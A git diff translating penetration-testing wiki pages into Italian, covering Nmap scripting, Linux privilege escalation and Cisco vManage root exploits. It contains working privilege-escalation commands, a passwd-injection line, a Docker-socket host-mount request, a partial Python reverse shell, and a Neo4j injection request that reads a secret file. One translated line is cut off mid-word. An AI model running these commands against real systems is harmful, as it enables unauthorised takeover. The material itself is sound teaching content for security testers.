safe, version, and vuln +I tipi disponibili sono: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version e vuln -- **Auth:** executes all available authentication scripts -- **Default:** executes basic default tool scripts -- **Discovery:** retrieves information from the target or victim -- **External:** script for using external resources -- **Intrusive:** uses scripts considered intrusive to the victim or target -- **Malware:** checks for connections opened by malicious code or backdoors -- **Safe:** executes non-intrusive scripts -- **Vuln:** discovers the most known vulnerabilities -- **All:** executes absolutely all available NSE extension scripts +- **Auth:** esegue tutti gli script di autenticazione disponibili +- **Default:** esegue gli script degli strumenti di base predefiniti +- **Discovery:** recupera informazioni dal target o dalla vittima +- **External:** script per utilizzare risorse esterne +- **Intrusive:** utilizza script considerati intrusivi per la vittima o il target +- **Malware:** controlla le connessioni aperte da codice dannoso o backdoor +- **Safe:** esegue script non intrusivi +- **Vuln:** scopre le vulnerabilità più conosciute +- **All:** esegue assolutamente tutti gli script di estensione NSE disponibili -To search for scripts: +Per cercare script: -**nmap --script-help="http-\*" -> Those starting with http-** +**nmap --script-help="http-\*" -> Quelli che iniziano con http-** -**nmap --script-help="not intrusive" -> All except those** +**nmap --script-help="not intrusive" -> Tutti tranne quelli** -**nmap --script-help="default or safe" -> Those in either or both** +**nmap --script-help="default or safe" -> Quelli in uno o entrambi** -**nmap --script-help="default and safe" --> Those in both** +**nmap --script-help="default and safe" --> Quelli in entrambi** **nmap --script-help="(default or safe or intrusive) and not http-\*"** @@ -100,43 +94,43 @@ To search for scripts: --script-help __|__|__|__|all[,...] ---script-trace ---> Provides info on how the script is progressing +--script-trace ---> Fornisce informazioni su come sta procedendo lo script --script-updatedb -**To use a script, just type: nmap --script Script_Name target** --> When using the script, both the script and scanner will execute, so scanner options can also be added. We can add **"safe=1"** to execute only safe ones. +**Per utilizzare uno script, digita semplicemente: nmap --script Script_Name target** --> Quando utilizzi lo script, sia lo script che lo scanner verranno eseguiti, quindi possono essere aggiunte anche opzioni dello scanner. Possiamo aggiungere **"safe=1"** per eseguire solo quelli sicuri. -**Time Control** +**Controllo del Tempo** -**Nmap can modify time in seconds, minutes, ms:** --host-timeout arguments 900000ms, 900, 900s, and 15m all do the same thing. +**Nmap può modificare il tempo in secondi, minuti, ms:** --host-timeout arguments 900000ms, 900, 900s, e 15m fanno tutte la stessa cosa. -Nmap divides the total number of hosts to scan into groups and analyzes these groups in blocks, so it doesn't move to the next block until all have been analyzed (and the user doesn't receive any updates until the block has been analyzed). This way, it's more optimal for Nmap to use large groups. By default in class C, it uses 256. +Nmap divide il numero totale di host da scansionare in gruppi e analizza questi gruppi a blocchi, quindi non passa al blocco successivo fino a quando tutti sono stati analizzati (e l'utente non riceve aggiornamenti fino a quando il blocco non è stato analizzato). In questo modo, è più ottimale per Nmap utilizzare grandi gruppi. Per impostazione predefinita nella classe C, utilizza 256. -This can be changed with **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Adjust parallel scan group sizes) +Questo può essere cambiato con **--min-hostgroup** _****_**;** **--max-hostgroup** _****_ (Regola le dimensioni del gruppo di scansione parallela) -You can control the number of parallel scanners but it's better not to (Nmap already incorporates automatic control based on network status): **--min-parallelism** _****_**;** **--max-parallelism** _****_ +Puoi controllare il numero di scanner paralleli, ma è meglio non farlo (Nmap incorpora già un controllo automatico basato sullo stato della rete): **--min-parallelism** _****_**;** **--max-parallelism** _****_ -We can modify the RTT timeout, but it's usually not necessary: **--min-rtt-timeout** _**
Puoi monitorare i processi per cercare quelli che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi. -Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: +Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` @@ -399,13 +399,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binario** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene richiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`). +Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binario** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando il servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), il tuo **backdoor verrà eseguito** (gli utenti non privilegiati di solito non possono avviare/arrestare servizi, ma controlla se puoi usare `sudo -l`). **Scopri di più sui servizi con `man systemd.service`.** ## **Timer** -I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono. +I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono. Puoi enumerare tutti i timer con: ```bash @@ -435,7 +435,7 @@ Per abilitare un timer hai bisogno di privilegi di root ed eseguire: sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nota che il **timer** è **attivato** creando un symlink ad esso in `/etc/systemd/system/.wants/.timer` +Nota che il **timer** è **attivato** creando un symlink su `/etc/systemd/system/.wants/.timer` ## Sockets @@ -446,7 +446,7 @@ I sockets possono essere configurati utilizzando file `.socket`. **Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`. +- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo adatto per `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo. - `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. - `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione. @@ -510,7 +510,7 @@ Nei casi in cui il Docker CLI non sia disponibile, il socket Docker può comunqu curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. +2. **Crea un container:** Invia una richiesta per creare un container che monta la directory radice del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -683,22 +683,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Password conosciute -Se **conosci qualche password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password. +Se **conosci una password** dell'ambiente **prova a effettuare il login come ogni utente** utilizzando la password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti. +Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'utente usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare gli utenti. -## Abusi di PATH scrivibile +## Abusi del PATH scrivibile ### $PATH -Se scopri che puoi **scrivere all'interno di qualche cartella del $PATH** potresti essere in grado di elevare i privilegi **creando una backdoor all'interno della cartella scrivibile** con il nome di qualche comando che verrà eseguito da un altro utente (idealmente root) e che **non è caricato da una cartella che si trova prima** della tua cartella scrivibile in $PATH. +Se scopri che puoi **scrivere all'interno di una cartella del $PATH** potresti essere in grado di elevare i privilegi **creando una backdoor all'interno della cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non è caricato da una cartella che si trova prima** della tua cartella scrivibile in $PATH. ### SUDO e SUID -Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il bit suid. Controllalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è banale ottenere una shell aggiungendo una chiave ssh nella directory root o chiamando `sh`. +In questo esempio, l'utente `demo` può eseguire `vim` come `root`, ora è ban ``` sudo vim -c '!sh' ``` @@ -763,11 +763,11 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un strano SUID binary)**. +Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un altro comando senza specificare il percorso (controlla sempre con** _**strings**_ **il contenuto di un binary SUID strano)**. -[Payload examples to execute.](payloads-to-execute.md) +[Esempi di payload da eseguire.](payloads-to-execute.md) -### SUID binary con percorso del comando +### Binary SUID con percorso del comando Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando. @@ -930,7 +930,7 @@ bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **possessa da root con setuid** +- Il **secondo exploit** (`exploit_v2.sh`) creerà una shell sh in _/tmp_ **di proprietà di root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p @@ -1051,14 +1051,14 @@ Leggi la pagina seguente per **scoprire di più sulle capacità e su come abusar linux-capabilities.md {{#endref}} -## Permessi di directory +## Permessi delle directory In una directory, il **bit per "eseguire"** implica che l'utente interessato può "**cd**" nella cartella.\ Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit **"scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**. ## ACL -Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso ai file o alle directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità assicura una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Dai** all'utente "kali" permessi di lettura e scrittura su un file: ```bash @@ -1071,10 +1071,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Aprire sessioni shell +## Apri sessioni shell In **versioni vecchie** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. ### dirottamento delle sessioni screen @@ -1119,8 +1119,8 @@ Controlla **Valentine box from HTB** per un esempio. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutti i certificati SSL e le chiavi SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affetti da questo bug.\ -Questo bug si verifica quando si crea una nuova chiave ssh in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ +Questo bug è causato dalla creazione di una nuova chiave ssh in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### Valori di configurazione SSH interessanti @@ -1130,7 +1130,7 @@ Questo bug si verifica quando si crea una nuova chiave ssh in quegli OS, poiché ### PermitRootLogin -Specifica se l'utente root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili: +Specifica se root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili: - `yes`: root può accedere utilizzando password e chiave privata - `without-password` o `prohibit-password`: root può accedere solo con una chiave privata @@ -1139,7 +1139,7 @@ Specifica se l'utente root può accedere utilizzando ssh, il valore predefinito ### AuthorizedKeysFile -Specifica i file che contengono le chiavi pubbliche che possono essere utilizzate per l'autenticazione dell'utente. Può contenere token come `%h`, che verrà sostituito dalla directory home. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Ad esempio: +Specifica i file che contengono le chiavi pubbliche che possono essere utilizzate per l'autenticazione dell'utente. Può contenere token come `%h`, che verranno sostituiti dalla home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Ad esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1147,14 +1147,14 @@ Quella configurazione indicherà che se provi a effettuare il login con la chiav ### ForwardAgent/AllowAgentForwarding -Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare verso un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. +Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **a un host** e da lì **saltare a un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito). @@ -1167,13 +1167,13 @@ ssh-forward-agent-exploitation.md ## File Interessanti -### File di Profili +### File di profilo Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se viene trovato uno strano script di profilo, dovresti controllarlo per **dettagli sensibili**. +Se viene trovato un script di profilo strano, dovresti controllarlo per **dettagli sensibili**. ### File Passwd/Shadow @@ -1210,7 +1210,7 @@ ATTENZIONE: potresti degradare la sicurezza attuale della macchina. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. +NOTA: Sulle piattaforme BSD, `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. Dovresti controllare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? ```bash @@ -1269,7 +1269,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **File web** +### **File Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1288,7 +1288,7 @@ Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escala ### Log Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\ -Inoltre, alcuni log di **audit** **"mal configurati"** (con backdoor?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Inoltre, alcuni log di **audit** **"mal configurati"** (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1323,7 +1323,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate exploitation -Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!NOTE] > Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti @@ -1332,7 +1332,7 @@ Informazioni più dettagliate sulla vulnerabilità possono essere trovate su que Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi ottenere privilegi elevati sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1342,7 +1342,7 @@ Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d). -Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**. Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1354,7 +1354,7 @@ DEVICE=eth0 La directory `/etc/init.d` è la casa di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un layer di compatibilità in Upstart. +D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart. **systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema. @@ -1387,7 +1387,7 @@ cisco-vmanage.md [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Strumenti di Privesc Linux/Unix +## Strumenti Privesc Linux/Unix ### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..a3d3b2ac4 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -4,18 +4,15 @@ ## Path 1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(Esempio da [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) +Dopo aver esaminato un po' di [documentazione](http://66.218.245.39/doc/html/rn03re18.html) relativa a `confd` e ai diversi binari (accessibili con un account sul sito Cisco), abbiamo scoperto che per autenticare il socket IPC, utilizza un segreto situato in `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +Ricordi la nostra istanza Neo4j? Sta funzionando con i privilegi dell'utente `vmanage`, permettendoci così di recuperare il file utilizzando la vulnerabilità precedente: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +Il programma `confd_cli` non supporta gli argomenti della riga di comando, ma chiama `/usr/bin/confd_cli_user` con argomenti. Quindi, potremmo chiamare direttamente `/usr/bin/confd_cli_user` con il nostro set di argomenti. Tuttavia, non è leggibile con i nostri privilegi attuali, quindi dobbiamo recuperarlo dal rootfs e copiarlo usando scp, leggere l'aiuto e usarlo per ottenere la shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 -(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) +(Esempio da [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +Il blog¹ del team synacktiv ha descritto un modo elegante per ottenere una shell root, ma il caveat è che richiede di ottenere una copia di `/usr/bin/confd_cli_user` che è leggibile solo da root. Ho trovato un altro modo per elevare i privilegi a root senza tale complicazione. +Quando ho smontato il binario `/usr/bin/confd_cli`, ho osservato quanto segue: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +Quando eseguo "ps aux", ho osservato quanto segue (_nota -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +Ho ipotizzato che il programma “confd_cli” passi l'ID utente e l'ID gruppo raccolti dall'utente connesso all'applicazione “cmdptywrapper”. -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +Il mio primo tentativo è stato eseguire direttamente “cmdptywrapper” fornendogli `-g 0 -u 0`, ma ha fallito. Sembra che un file descriptor (-i 1015) sia stato creato lungo il percorso e non riesco a falsificarlo. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot 